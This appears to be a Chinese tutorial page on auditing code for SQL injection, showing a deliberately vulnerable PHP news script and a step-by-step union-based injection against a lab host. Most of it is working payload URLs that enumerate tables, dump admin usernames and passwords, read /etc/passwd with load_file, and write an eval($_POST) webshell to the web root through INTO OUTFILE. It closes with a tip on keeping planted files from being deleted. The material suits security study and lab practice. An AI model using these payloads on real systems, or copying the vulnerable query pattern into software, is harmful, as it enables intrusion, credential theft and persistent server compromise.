当前位置:Gxlcms > 数据库问题 > 代码审计之SQL注入

代码审计之SQL注入

时间:2021-07-01 10:21:17 帮助过:2人阅读

 = mysql_connect(‘localhost‘, ‘root‘, ‘root‘) or die(‘bad!‘);
mysql_query("SET NAMES binary‘");
mysql_select_db(‘test‘, $conn) OR emMsg("数据库连接失败");
//这里id没有做整形转换
$id = isset($_GET[‘id‘]) ? $_GET[‘id‘] : 1;
//sql语句没有单引号保护,造成注入
$sql = "SELECT * FROM news WHERE id={$id}";
$result = mysql_query($sql$conn) or die(mysql_error()); 
?>

技术分享

数据库内容

技术分享

 

0x02注入测试

1. 正常访问

http://192.168.192.128/sqltest/news.php

 

http://192.168.192.128/sqltest/news.php?id=1 http://192.168.192.128/sqltest/news.php?id=2

...

 

2. 测试字段数

PS:3 正常,4报错,说明有三个字段

http://192.168.192.128/sqltest/news.php?id=1 and 1=2 order by 3

 

http://192.168.192.128/sqltest/news.php?id=1 and 1=2 order by 4技术分享

 

 

3. 测试回显字段

PS: 2,3均回显,说明均是回显字段

http://192.168.192.128/sqltest/news.php?id=-1 union select 1,2,3

例如,在3字段测试user()函数

 技术分享

 4. 查询当前库下的所有表

 

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()技术分享

 

 

5.测试表中的字段名称

 

PS:admin 的十六进制61646d696e  ; news十六进制 6e657773

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e

 技术分享

技术分享

 

 6.查询admin表下的用户名密码

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(name,0x23,pass) from admin

技术分享

 

7.读取linux系统文件(/etc/passwd,需转换为16进制)

ps:权限足够

 

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,load_file(0x2f6574632f706173737764) 技术分享

 


 

 8. 权限足够的情况下写SHELL

 

 

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile ‘/var/www/html/1.php‘--
若权限不足,换个目录
phpinfo页面
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020706870696e666f28293b203f3e into outfile ‘/var/www/html/sqltest/3.php‘--
写个webshell(注意16进制转换时是一条语句)
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f706870206576616c28245f504f53545b615d293b3f3e into outfile ‘/var/www/html/sqltest/5.php‘--

执行完毕不报错

技术分享

技术分享

 

 

 

另外,注入写入的文件可能root删除不掉,需要结合chattr 来解决。(攻防比赛中,可能会遇到)

技术分享

 

 

参考:

http://mp.weixin.qq.com/s?src=3&timestamp=1469346783&ver=1&signature=JFsK7nVvnj9R0JHq1j-KXdP159o764mHQ8guzfVPPdAjpPhsZEFyqhJFvvdWchcJy*PfAGY4pe2KBkVJI4-X6kHovCMWCubqcpDZ7W3FmRbZoRGsFOC2zcXEaNaO2no3tRTJokL9h-s-yLq7kQWxvx7cCEcEjW6rdqaWTwcneMI=

 


 

 

 

 

 

 

 

 

 

 

 

代码审计之SQL注入

标签:

人气教程排行